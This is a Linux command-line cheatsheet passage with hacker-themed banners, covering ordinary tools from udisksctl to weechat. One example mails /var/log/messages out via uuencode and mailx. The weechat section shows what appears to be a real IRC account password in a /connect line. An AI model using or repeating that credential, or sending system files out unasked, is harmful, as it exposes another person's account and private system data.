udevadm monitor --property
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

220 - 🖥️udisksctl

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the udisksctl command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ██╗   ██╗██████╗ ██╗███████╗██╗  ██╗███████╗ ██████╗████████╗██╗     
#                ██║   ██║██╔══██╗██║██╔════╝██║ ██╔╝██╔════╝██╔════╝╚══██╔══╝██║     
#                ██║   ██║██║  ██║██║███████╗█████╔╝ ███████╗██║        ██║   ██║     
#                ██║   ██║██║  ██║██║╚════██║██╔═██╗ ╚════██║██║        ██║   ██║     
#                ╚██████╔╝██████╔╝██║███████║██║  ██╗███████║╚██████╗   ██║   ███████╗
#                 ╚═════╝ ╚═════╝ ╚═╝╚══════╝╚═╝  ╚═╝╚══════╝ ╚═════╝   ╚═╝   ╚══════╝
                                                                                     
                                                                                     
# Get info about block device
udisksctl info -b <block_device>

# Mounting device 
udisksctl mount --block-device <block_device>

# Unmounting device 
udisksctl unmount --block-device <block_device>

# Get help 
udisksctl help 

# Using your group privilege, mount (removable drive) /dev/sdc1 as if it automounted with its name.
udisksctl mount -b /dev/sdc1 

#==============================##==============================#
# CMD UDISKSCTL						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

221 - 🖥️unexpand

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the unexpand command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ██╗   ██╗███╗   ██╗███████╗██╗  ██╗██████╗  █████╗ ███╗   ██╗██████╗ 
#                ██║   ██║████╗  ██║██╔════╝╚██╗██╔╝██╔══██╗██╔══██╗████╗  ██║██╔══██╗
#                ██║   ██║██╔██╗ ██║█████╗   ╚███╔╝ ██████╔╝███████║██╔██╗ ██║██║  ██║
#                ██║   ██║██║╚██╗██║██╔══╝   ██╔██╗ ██╔═══╝ ██╔══██║██║╚██╗██║██║  ██║
#                ╚██████╔╝██║ ╚████║███████╗██╔╝ ██╗██║     ██║  ██║██║ ╚████║██████╔╝
#                 ╚═════╝ ╚═╝  ╚═══╝╚══════╝╚═╝  ╚═╝╚═╝     ╚═╝  ╚═╝╚═╝  ╚═══╝╚═════╝ 
                                                                                     
                                                                                     
                                                                                    

# The unexpand command converts spaces present in the input file(s) into tabs, and writes the file contents to standard output.

unexpand file1

#==============================##==============================#
# CMD UNEXPAND						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

222 - 🖥️update-alternatives

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the update-alternatives command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#    ██╗   ██╗██████╗ ██████╗  █████╗ ████████╗███████╗     █████╗ ██╗  ████████╗███████╗██████╗ ███╗   ██╗ █████╗ ████████╗██╗██╗   ██╗███████╗███████╗
#    ██║   ██║██╔══██╗██╔══██╗██╔══██╗╚══██╔══╝██╔════╝    ██╔══██╗██║  ╚══██╔══╝██╔════╝██╔══██╗████╗  ██║██╔══██╗╚══██╔══╝██║██║   ██║██╔════╝██╔════╝
#    ██║   ██║██████╔╝██║  ██║███████║   ██║   █████╗█████╗███████║██║     ██║   █████╗  ██████╔╝██╔██╗ ██║███████║   ██║   ██║██║   ██║█████╗  ███████╗
#    ██║   ██║██╔═══╝ ██║  ██║██╔══██║   ██║   ██╔══╝╚════╝██╔══██║██║     ██║   ██╔══╝  ██╔══██╗██║╚██╗██║██╔══██║   ██║   ██║╚██╗ ██╔╝██╔══╝  ╚════██║
#    ╚██████╔╝██║     ██████╔╝██║  ██║   ██║   ███████╗    ██║  ██║███████╗██║   ███████╗██║  ██║██║ ╚████║██║  ██║   ██║   ██║ ╚████╔╝ ███████╗███████║
#     ╚═════╝ ╚═╝     ╚═════╝ ╚═╝  ╚═╝   ╚═╝   ╚══════╝    ╚═╝  ╚═╝╚══════╝╚═╝   ╚══════╝╚═╝  ╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝   ╚═╝   ╚═╝  ╚═══╝  ╚══════╝╚══════╝
                                                                                                                                                                   
                                                                                                                                                                   
                                                                                                                                                                   
update-alternatives --config pager

update-alternatives --config editor

update-alternatives --list pager

#==============================##==============================#
# CMD UPDATE-ALTERNATIVES						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

223 - 🖥️urpm

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the urpm command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ██╗   ██╗██████╗ ██████╗ ███╗   ███╗
#                ██║   ██║██╔══██╗██╔══██╗████╗ ████║
#                ██║   ██║██████╔╝██████╔╝██╔████╔██║
#                ██║   ██║██╔══██╗██╔═══╝ ██║╚██╔╝██║
#                ╚██████╔╝██║  ██║██║     ██║ ╚═╝ ██║
#                 ╚═════╝ ╚═╝  ╚═╝╚═╝     ╚═╝     ╚═╝
                                                    
                                                    
# search (fuzzy) for package foo
urpmq -Y foo

# check if foo is installed
rpm -q foo

# install package foo
urpmi foo

# download but don't install foo
urpmi --no-install foo

# uninstall package foo
urpme foo

#==============================##==============================#
# CMD URPM						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

224 - 🖥️users

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the users command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ██╗   ██╗███████╗███████╗██████╗ ███████╗
#                ██║   ██║██╔════╝██╔════╝██╔══██╗██╔════╝
#                ██║   ██║███████╗█████╗  ██████╔╝███████╗
#                ██║   ██║╚════██║██╔══╝  ██╔══██╗╚════██║
#                ╚██████╔╝███████║███████╗██║  ██║███████║
#                 ╚═════╝ ╚══════╝╚══════╝╚═╝  ╚═╝╚══════╝
                                                         
                                                         

# The users command displays in output the usernames of users currently logged in to the current host.

users
himanshu himanshu himanshu himanshu

#==============================##==============================#
# CMD USERS						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

225 - 🖥️uuencode

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the uuencode command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██╗   ██╗██╗   ██╗███████╗███╗   ██╗ ██████╗ ██████╗ ██████╗ ███████╗
#  ██║   ██║██║   ██║██╔════╝████╗  ██║██╔════╝██╔═══██╗██╔══██╗██╔════╝
#  ██║   ██║██║   ██║█████╗  ██╔██╗ ██║██║     ██║   ██║██║  ██║█████╗  
#  ██║   ██║██║   ██║██╔══╝  ██║╚██╗██║██║     ██║   ██║██║  ██║██╔══╝  
#  ╚██████╔╝╚██████╔╝███████╗██║ ╚████║╚██████╗╚██████╔╝██████╔╝███████╗
#   ╚═════╝  ╚═════╝ ╚══════╝╚═╝  ╚═══╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝

# Send a file by email as attachment
uuencode /var/log/messages messages.txt | mailx -s "/var/log/messages on $HOST" [email protected]
# Explanation: 
    # uuencode /var/log/messages messages.txt -- the first parameter is the file to attach, the second is the filename to use for the attachment
    # mailx -s subject emailaddress -- takes standard input as the content of the email
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

226 - 🖥️vagrant

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the vagrant command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ██╗   ██╗ █████╗  ██████╗ ██████╗  █████╗ ███╗   ██╗████████╗
#                ██║   ██║██╔══██╗██╔════╝ ██╔══██╗██╔══██╗████╗  ██║╚══██╔══╝
#                ██║   ██║███████║██║  ███╗██████╔╝███████║██╔██╗ ██║   ██║   
#                ╚██╗ ██╔╝██╔══██║██║   ██║██╔══██╗██╔══██║██║╚██╗██║   ██║   
#                 ╚████╔╝ ██║  ██║╚██████╔╝██║  ██║██║  ██║██║ ╚████║   ██║   
#                  ╚═══╝  ╚═╝  ╚═╝ ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝   
                                                                             
                                                                            
# Initate Vagrant
mkdir vag-vm; cd vag-vm
vagrant init

# Add a box to vagrant repo
vagrant box add hashicorp/precise32

# Add a box  Vagrant file
config.vm.box = "hashicorp/precise32"

# Add vm to public network as host
config.vm.network "public_network"

# Add provision script to vagrant file
config.vm.provision :shell, path: "provision.sh"

# Start vm 
vagrant up

# Connect to started instance
vagrant ssh

# Shutdown vm
vagrant halt

# Hibernate vm
vagrant suspend

# Set vm to initial state by cleaning all data
vagrant destroy

# Restart vm with new provision script
vagran reload --provision

#==============================##==============================#
# CMD VAGRANT						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

227 - 🖥️w

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the w command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ██╗    ██╗
#                ██║    ██║
#                ██║ █╗ ██║
#                ██║███╗██║
#                ╚███╔███╔╝
#                 ╚══╝╚══╝ 
                          
                         

# The w command displays information about the users currently on the machine, and their processes.

w
16:18:07 up 6:39, 4 users, load average: 0.07, 0.32, 0.53
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root :0 :0 09:39 ?xdm? 1:08m 0.25s init --user
root pts/0 :0 09:41 6:36m 0.84s 7.84s gnome-terminal
root pts/10 :0 14:51 0.00s 0.16s 0.00s w
userx pts/11 :0 15:41 35:19 0.05s 0.05s bash

#==============================##==============================#
# CMD W						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

228 - 🖥️w3m

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the w3m command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██╗    ██╗██████╗ ███╗   ███╗
#  ██║    ██║╚════██╗████╗ ████║
#  ██║ █╗ ██║ █████╔╝██╔████╔██║
#  ██║███╗██║ ╚═══██╗██║╚██╔╝██║
#  ╚███╔███╔╝██████╔╝██║ ╚═╝ ██║
#   ╚══╝╚══╝ ╚═════╝ ╚═╝     ╚═╝

# Get the latest Arch Linux news
w3m https://www.archlinux.org/ | sed -n "/Latest News/,/Older News/p" | head -n -1
# Explanation: w3m is a terminal web browser. We use it to go to https://www.archlinux.org/
#We then use sed to capture the text between Latest News and Older News.
#We then get rid of the last line which is Older News.
# Limitations: For this, w3m would need to be installed. It should be installable on most systems.
#If Arch change the format of there website significantly, this might stop working.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

229 - 🖥️wacaw

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the wacaw command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██╗    ██╗ █████╗  ██████╗ █████╗ ██╗    ██╗
#  ██║    ██║██╔══██╗██╔════╝██╔══██╗██║    ██║
#  ██║ █╗ ██║███████║██║     ███████║██║ █╗ ██║
#  ██║███╗██║██╔══██║██║     ██╔══██║██║███╗██║
#  ╚███╔███╔╝██║  ██║╚██████╗██║  ██║╚███╔███╔╝
#   ╚══╝╚══╝ ╚═╝  ╚═╝ ╚═════╝╚═╝  ╚═╝ ╚══╝╚══╝ 

# wacaw
# A little command-line tool for Mac OS X that allows you to capture both still pictures and video from an attached camera.

# Take a picture from webcam:
wacaw filename

# Record a video:
wacaw --video filename -D duration_in_seconds

# Take a picture with custom resolution:
wacaw -x width -y height filename

# Copy image just taken to clipboard:
wacaw --to-clipboard

# List the devices available:
wacaw -L
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

230 - 🖥️wall

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the wall command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ██╗    ██╗ █████╗ ██╗     ██╗     
#                ██║    ██║██╔══██╗██║     ██║     
#                ██║ █╗ ██║███████║██║     ██║     
#                ██║███╗██║██╔══██║██║     ██║     
#                ╚███╔███╔╝██║  ██║███████╗███████╗
#                 ╚══╝╚══╝ ╚═╝  ╚═╝╚══════╝╚══════╝
                                                  

# The wall command lets you write and send a message to other users that are currently logged in.
wall [your-message]

#==============================##==============================#
# CMD WALL						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

231 - 🖥️weather

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the weather command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██╗    ██╗███████╗ █████╗ ████████╗██╗  ██╗███████╗██████╗ 
#  ██║    ██║██╔════╝██╔══██╗╚══██╔══╝██║  ██║██╔════╝██╔══██╗
#  ██║ █╗ ██║█████╗  ███████║   ██║   ███████║█████╗  ██████╔╝
#  ██║███╗██║██╔══╝  ██╔══██║   ██║   ██╔══██║██╔══╝  ██╔══██╗
#  ╚███╔███╔╝███████╗██║  ██║   ██║   ██║  ██║███████╗██║  ██║
#   ╚══╝╚══╝ ╚══════╝╚═╝  ╚═╝   ╚═╝   ╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝

# weather (Bash-Snippets)
# Provides a 3 day forecast on your current location or a specified location

# Get a 3 day forecast for your current location as determined by your ip address
weather

# Get a 3 day forecast for any location
weather Tokyo

# Get the current moon phase
weather Moon
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

232 - 🖥️weechat

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the weechat command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ██╗    ██╗███████╗███████╗ ██████╗██╗  ██╗ █████╗ ████████╗
#                ██║    ██║██╔════╝██╔════╝██╔════╝██║  ██║██╔══██╗╚══██╔══╝
#                ██║ █╗ ██║█████╗  █████╗  ██║     ███████║███████║   ██║   
#                ██║███╗██║██╔══╝  ██╔══╝  ██║     ██╔══██║██╔══██║   ██║   
#                ╚███╔███╔╝███████╗███████╗╚██████╗██║  ██║██║  ██║   ██║   
#                 ╚══╝╚══╝ ╚══════╝╚══════╝ ╚═════╝╚═╝  ╚═╝╚═╝  ╚═╝   ╚═╝   
                                                                           
                                                                          
# Set unread marker on all windows
Ctrl-s Ctrl-u

# Switch buffer left
Ctrl-p, Alt-left
# Switch buffer right
Ctrl-n, Alt-right
# Next buffer with activity
Alt-a
# Switch buffers
Alt-0...9

# Scroll buffer title
F9/F10
# Scroll nick list
F11/F12

#### IRC allgemen ####
/msg NickServ REGISTER password [email protected]
/nick foo_
# Register your IRC nick:

/msg NickServ IDENTIFY foo password
# then identify to your primary account:

/msg NickServ GROUP
# and finally, group the new nick to your account

/connect chat.freenode.net 6667 mquin:uwhY8wgzWw22-zXs.M39p
# You will need to log in to your nickname each time you reconnect to freenode. The simplest, and most robust, way to do this is to configure SASL, if your client supports it. If not, you can supply your login details, in the form <account>:<password>, as a server password and they will be forwarded to NickServ when you finish connecting.

IRC: #livestreamer @ Freenode

